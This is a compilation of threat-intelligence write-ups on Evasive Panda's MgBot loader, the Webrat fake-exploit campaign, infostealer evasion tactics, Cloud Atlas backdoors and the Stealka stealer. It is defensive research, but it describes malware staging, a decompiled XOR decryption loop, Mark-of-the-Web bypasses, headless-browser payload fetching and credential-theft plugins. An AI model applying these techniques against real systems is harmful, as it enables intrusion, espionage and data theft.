This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.
Downloading a payload from the web resource
From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:
key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}
The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.
Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.
Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.
Secondary loader
We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.
The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.
The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.
General overview of storing payload on disk by using hybrid encryption
This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.
The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.
After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.
Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.
Decryption of the configuration in the injected MgBot implant
Victims
Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.
Attribution
The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.
Conclusion
The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.
As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.
The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.
In early 2025, security researchers uncovered a new malware family named Webrat. Initially, the Trojan targeted regular users by disguising itself as cheats for popular games like Rust, Counter-Strike, and Roblox, or as cracked software. In September, the attackers decided to widen their net: alongside gamers and users of pirated software, they are now targeting inexperienced professionals and students in the information security field.
Distribution and the malicious sample
In October, we uncovered a campaign that had been distributing Webrat via GitHub repositories since at least September. To lure in victims, the attackers leveraged vulnerabilities frequently mentioned in security advisories and industry news. Specifically, they disguised their malware as exploits for the following vulnerabilities with high CVSSv3 scores:
In the Webrat campaign, the attackers bait their traps with both vulnerabilities lacking a working exploit and those which already have one. To build trust, they carefully prepared the repositories, incorporating detailed vulnerability information into the descriptions. The information is presented in the form of structured sections, which include:
Overview with general information about the vulnerability and its potential consequences
Specifications of systems susceptible to the exploit
Guide for downloading and installing the exploit
Guide for using the exploit
Steps to mitigate the risks associated with the vulnerability
Contents of the repository
In all the repositories we investigated, the descriptions share a similar structure, characteristic of AI-generated vulnerability reports, and offer nearly identical risk mitigation advice, with only minor variations in wording. This strongly suggests that the text was machine-generated.
The Download Exploit ZIP link in the Download & Install section leads to a password-protected archive hosted in the same repository. The password is hidden within the name of a file inside the archive.
The archive downloaded from the repository includes four files:
pass – 8511: an empty file, whose name contains the password for the archive.
payload.dll: a decoy, which is a corrupted PE file. It contains no useful information and performs no actions, serving only to divert attention from the primary malicious file.
rasmanesc.exe (note: file names may vary): the primary malicious file (MD5 61b1fc6ab327e6d3ff5fd3e82b430315), which performs the following actions:
Escalate its privileges to the administrator level (T1134.002).
Disable Windows Defender (T1562.001) to avoid detection.
Fetch from a hardcoded URL (ezc5510min.temp[.]swtest[.]ru in our example) a sample of the Webrat family and execute it (T1608.001).
start_exp.bat: a file containing a single command: start rasmanesc.exe, which further increases the likelihood of the user executing the primary malicious file.
The execution flow and capabilities of rasmanesc.exe
Webrat is a backdoor that allows the attackers to control the infected system. Furthermore, it can steal data from cryptocurrency wallets, Telegram, Discord and Steam accounts, while also performing spyware functions such as screen recording, surveillance via a webcam and microphone, and keylogging. The version of Webrat discovered in this campaign is no different from those documented previously.
Campaign objectives
Previously, Webrat spread alongside game cheats, software cracks, and patches for legitimate applications. In this campaign, however, the Trojan disguises itself as exploits and PoCs. This suggests that the threat actor is attempting to infect information security specialists and other users interested in this topic. It bears mentioning that any competent security professional analyzes exploits and other malware within a controlled, isolated environment, which has no access to sensitive data, physical webcams, or microphones. Furthermore, an experienced researcher would easily recognize Webrat, as it’s well-documented and the current version is no different from previous ones. Therefore, we believe the bait is aimed at students and inexperienced security professionals.
Conclusion
The threat actor behind Webrat is now disguising the backdoor not only as game cheats and cracked software, but also as exploits and PoCs. This indicates they are targeting researchers who frequently rely on open sources to find and analyze code related to new vulnerabilities.
However, Webrat itself has not changed significantly from past campaigns. These attacks clearly target users who would run the “exploit” directly on their machines — bypassing basic safety protocols. This serves as a reminder that cybersecurity professionals, especially inexperienced researchers and students, must remain vigilant when handling exploits and any potentially malicious files. To prevent potential damage to work and personal devices containing sensitive information, we recommend analyzing these exploits and files within isolated environments like virtual machines or sandboxes.
We also recommend exercising general caution when working with code from open sources, always using reliable security solutions, and never adding software to exclusions without a justified reason.
Kaspersky solutions effectively detect this threat with the following verdicts:
The Infostealer Gateway: Uncovering the Latest Methods in Defense Evasion
In this post, we analyze the evolving bypass tactics threat actors are using to neutralize traditional security perimeters and fuel the global surge in infostealer infections.
Infostealer-driven credential theft in 2025 has surged, with Flashpoint observing a staggering 800% increase since the start of the year. With over 1.8 billion corporate and personal accounts compromised, the threat landscape finds itself in a paradox: while technical defenses have never been more advanced, the human attack surface has never been more vulnerable.
Information-stealing malware has become the most scalable entry point for enterprise breaches, but to truly defend against them, organizations must look beyond the malware itself. As teams move into 2026 security planning, it is critical to understand the deceptive initial access vectors—the latest tactics Flashpoint is seeing in the wild—that threat actors are using to manipulate users and bypass modern security perimeters.
Here are the latest methods threat actors are leveraging to facilitate infections:
1. Neutralizing Mark of the Web (MotW) via Drag-and-Drop Lures
Mark of the Web (MotW) is a critical Windows defense feature that tags files downloaded from the internet as “untrusted” by adding a hidden NTFS Alternate Data Stream (ADS) to the file. This tag triggers “Protected View” in Microsoft Office programs and prompts Windows SmartScreen warnings when a user attempts to execute an unknown file.
Flashpoint has observed a new social engineering method to bypass these protections through a simple drag-and-drop lure. Instead of asking a user to open a suspicious attachment directly, which would trigger an immediate MotW warning, threat actors are instead instructing the victim to drag the malicious image or file from a document onto their desktop to view it. This manual interaction is highly effective for two reasons:
Contextual Evasion: By dragging the file out of the document and onto the desktop, the file is executed outside the scope of the Protected View sandbox.
Metadata Stripping: In many instances, the act of dragging and dropping an embedded object from a parent document can cause the operating system to treat the newly created file as a local creation, rather than an internet download. This effectively strips the MotW tag and allows malicious code to run without any security alerts.
2. Executing Payloads via Vulnerabilities and Trusted Processes
Flashpoint analysts uncovered an illicit thread detailing a proof of concept for a client-side remote code execution (RCE) in the Google Web Designer for Windows, which was first discovered by security researcher Bálint Magyar.
Google Web Designer is an application used for creating dynamic ads for the Google Ads platform. Leveraging this vulnerability, attackers would be able to perform remote code execution through an internal API using CSS injection by targeting a configuration file related to ads documents.
Within this thread, threat actors were specifically interested in the execution of the payload using the chrome.exe process. This is because using chrome.exe to fetch and execute a file is likely to bypass several security restrictions as Chrome is already a trusted process. By utilizing specific command-line arguments, such as the –headless flag, threat actors showed how to force a browser to initiate a remote connection in the background without spawning a visible window. This can be used in conjunction with other malicious scripts to silently download additional payloads onto a victim’s systems.
3. Targeting Alternative Softwares as a Path of Least Resistance
As widely-used software becomes more hardened and secure, threat actors are instead pivoting to targeting lesser-known alternatives. These tools often lack robust macro-protections. By targeting vulnerabilities in secondary PDF viewers or Office alternatives, attackers are seeking to trick users into making remote server connections that would otherwise be flagged as suspicious.
Understanding the Identity Attack Surface
Social engineering is one of the driving factors behind the infostealer lifecycle. Once an initial access vector is successful, the malware immediately begins harvesting the logs that fuel today’s identity-based digital attacks.
As detailed in The Proactive Defender’s Guide to Infostealers, the end goal is not just a password. Instead, attackers are prioritizing session cookies, which allow them to perform session hijacking. By importing these stolen cookies into anti-detect browsers, they bypass Multi-Factor Authentication and step directly into corporate environments, appearing as a legitimate, authenticated user.
Understanding how threat actors weaponize stolen data is the first step toward a proactive defense. For a deep dive into the most prolific stealer strains and strategies for managing the identity attack surface, download The Proactive Defender’s Guide to Infostealers today.
Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.
The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo
Malicious template with the exploit loaded by Word when opening the document
We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.
Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.
Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:
In this research, we’ll focus on new and updated components.
VBShower
VBShower::Backdoor
Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.
VBShower::Payload (1)
The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.
VBShower::Payload (1)
VBShower::Payload (2)
The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:
It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:
The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).
Here is an example of the information present in the v_buff variable:
The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.
VBShower::Payload (2) used to install VBCloud
Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.
In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.
Here is an example of information to be sent to the C2 server:
In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.
VBShower::Payload (2) used to install CloudAtlas
VBShower::Payload (3)
This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.
These files are copied by VBShower::Payload (3) to the following paths:
Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:
This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:
This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.
VBShower::Payload (7)
VBShower::Payload (8)
This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:
Creates registry keys to make the console window appear off-screen, effectively hiding it:
Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine
VBShower::Payload (8) used to install PowerShower
The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.
Content of AdobeMon.ps1 (PowerShower)
VBShower::Payload (9)
This is a small script for collecting information about the system proxy settings.
VBShower::Payload (9)
VBCloud
On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.
VBCloud::Launcher
The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.
VBCloud::Launcher
VBCloud::Backdoor
The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.
VBCloud::Payload (FileGrabber)
Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.
The FileGrabber payload has the following limitations when scanning for files:
It ignores the following paths:
Program Files
Program Files (x86)
%SystemRoot%
The file size for archiving must be between 1,000 and 3,000,000 bytes.
The file’s last modification date must be less than 30 days before the start of the scan.
Files containing the following strings in their names are ignored:
“intermediate.txt”
“FlightingLogging.txt”
“log.txt”
“thirdpartynotices”
“ThirdPartyNotices”
“easylist.txt”
“acroNGLLog.txt”
“LICENSE.txt”
“signature.txt”
“AlternateServices.txt”
“scanwia.txt”
“scantwain.txt”
“SiteSecurityServiceState.txt”
“serviceworker.txt”
“SettingsCache.txt”
“NisLog.txt”
“AppCache”
“backupTest”
Part of VBCloud::Payload (FileGrabber)
PowerShower
As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.
Decoded PowerShower script
In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.
PowerShower::Payload (1)
This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.
PowerShower::Payload (2)
This script is used for grabbing files with metadata from a network share.
PowerShower::Payload (2)
CloudAtlas
As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".
When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.
Encrypted and decrypted loader configuration
The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.
Main routine that processes the payload file
When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.
Encrypted and decrypted CloudAtlas backdoor config
Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.
HTTP requests of the CloudAtlas backdoor
The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.
HTTP requests from the CloudAtlas backdoor
The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.
Plugin setup and execution routine
Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.
CloudAtlas::Plugin (FileGrabber)
FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:
Stealing files from all local disks
Stealing files from the specified removable media
Stealing files from specified folders
Using the selected username and password from the command block to mount network resources and then steal files from them
For each detected file, a series of rules are generated based on the conditions passed within the command block, including:
Checking for minimum and maximum file size
Checking the file’s last modification time
Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
Checking the file name or extension against a list of patterns
Resource scanning
If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.
Generating data for sending to C2
CloudAtlas::Plugin (Common)
This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.
Command ID 0: Creates, sets and closes named events.
Command ID 1: Deletes the selected list of files.
Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
Command ID 3: Capable of performing several operations together or independently, including:
Dropping several files on disk with content and paths selected in the command block arguments
Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
Using the WinExec function
Using the ShellExecuteW function
Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
Command ID 5: Calls the ExitProcess function.
Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.
Content of the dropped VBS
CloudAtlas::Plugin (PasswordStealer)
This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.
Part of the function for parsing JSON and sending the extracted data to C2
CloudAtlas::Plugin (InfoCollector)
This plugin is used to collect information about the infected system. The list of commands is presented below.
Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
Command ID 0xFFFFFFF2: Collects information about installed products.
Command ID 0xFFFFFFF3: Collects device information.
Command ID 0xFFFFFFF4: Collects information about logical drives.
Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:
net group "Exchange servers" /domain
Ipconfig
arp -a
Python script
As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.
During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".
The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.
Victims
According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.
Conclusion
For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.
Indicators of compromise
Note: The indicators in this section are valid at the time of publication.
In November 2025, Kaspersky experts uncovered a new stealer named Stealka, which targets Windows users’ data. Attackers are using Stealka to hijack accounts, steal cryptocurrency, and install a crypto miner on their victims’ devices. Most frequently, this infostealer disguises itself as game cracks, cheats and mods.
Here’s how the attackers are spreading the stealer, and how you can protect yourself.
How Stealka spreads
A stealer is a type of malware that collects confidential information stored on the victim’s device and sends it to the attackers’ server. Stealka is primarily distributed via popular platforms like GitHub, SourceForge, Softpedia, sites.google.com, and others, disguised as cracks for popular software, or cheats and mods for games. For the malware to be activated, the user must run the file manually.
Here’s an example: a malicious Roblox mod published on SourceForge.
Attackers exploited SourceForge, a legitimate website, to upload a mod containing Stealka
And here’s one on GitHub posing as a crack for Microsoft Visio.
A pirated version of Microsoft Visio containing the stealer, hosted on GitHub
Sometimes, however, attackers go a step further (and possibly use AI tools) to create entire fake websites that look quite professional. Without the help of a robust antivirus, the average user is unlikely to realize anything is amiss.
A fake website pretending to offer Roblox scripts
Admittedly, the cracks and software advertised on these fake sites can sometimes look a bit off. For example, here the attackers are offering a download for Half-Life 3, while at the same time claiming it’s not actually a game but some kind of “professional software solution designed for Windows”.
Malware disguised as Half-Life 3, which is also somehow “a professional software solution designed for Windows”. A lot of professionals clearly spent their best years on this software…
The truth is that both the page title and the filename are just bait. The attackers simply use popular search terms to lure users into downloading the malware. The actual file content has nothing to do with what’s advertised — inside, it’s always the same infostealer.
The site also claimed that all hosted files were scanned for viruses. When the user decides to download, say, a pirated game, the site displays a banner saying the file is being scanned by various antivirus engines. Of course, no such scanning actually takes place; the attackers are merely trying to create an illusion of trustworthiness.
The pirated file pretends to be scanned by a dozen antivirus tools
What makes Stealka dangerous
Stealka has a fairly extensive arsenal of capabilities, but its prime target is data from browsers built on the Chromium and Gecko engines. This puts over a hundred different browsers at risk, including popular ones like Chrome, Firefox, Opera, Yandex Browser, Edge, Brave, as well as many, many others.
Browsers store a huge amount of sensitive information, which attackers use to hijack accounts and continue their attacks. The main targets are autofill data, such as sign-in credentials, addresses, and payment card details. We’ve warned repeatedly that saving passwords in your browser is risky — attackers can extract them in seconds. Cookies and session tokens are perhaps even more valuable to hackers, as they can allow criminals to bypass two-factor authentication and hijack accounts without entering the password.
The story doesn’t end with the account hack. Attackers use these compromised accounts to spread the malware further. For example, we discovered the stealer in a GTAV mod posted on a dedicated site by an account that had previously been compromised.
Beyond stealing browser data, Stealka also targets the settings and databases of 115browser extensions for crypto wallets, password managers, and 2FA services. Here are some of the most popular extensions now at risk:
Finally, the stealer also downloads local settings, account data, and service files from a wide variety of applications:
Crypto wallets. Wallet configurations may contain encrypted private keys, seed-phrase data, wallet file paths, and encryption parameters. That’s enough to at least make an attempt at stealing your cryptocurrency. At risk are 80 wallet applications, including Binance, Bitcoin, BitcoinABC, Dogecoin, Ethereum, Exodus, Mincoin, MyCrypto, MyMonero, Monero, Nexus, Novacoin, Solar, and many others.
Messaging apps. Messaging app service files store account data, device identifiers, authentication tokens, and the encryption parameters for your conversations. In theory, a malicious actor could gain access to your account and read your chats. At risk are Discord, Telegram, Unigram, Pidgin, Tox, and others.
Password managers. Even if the passwords themselves are encrypted, the configuration files often contain information that makes cracking the vault significantly easier: encryption parameters, synchronization tokens, and details about the vault version and structure. At risk are 1Password, Authy, Bitwarden, KeePass, LastPass, and NordPass.
Email clients. These are where your account credentials, mail server connection settings, authentication tokens, and local copies of your emails can be found. With access to your email, an attacker will almost certainly attempt to reset passwords for your other services. At risk are Gmail Notifier Pro, Claws, Mailbird, Outlook, Postbox, The Bat!, Thunderbird, and TrulyMail.
Note-taking apps. Instead of shopping lists or late-night poetry, some users store information in their notes that has no business being there, like seed phrases or passwords. At risk are NoteFly, Notezilla, SimpleStickyNotes, and Microsoft StickyNotes.
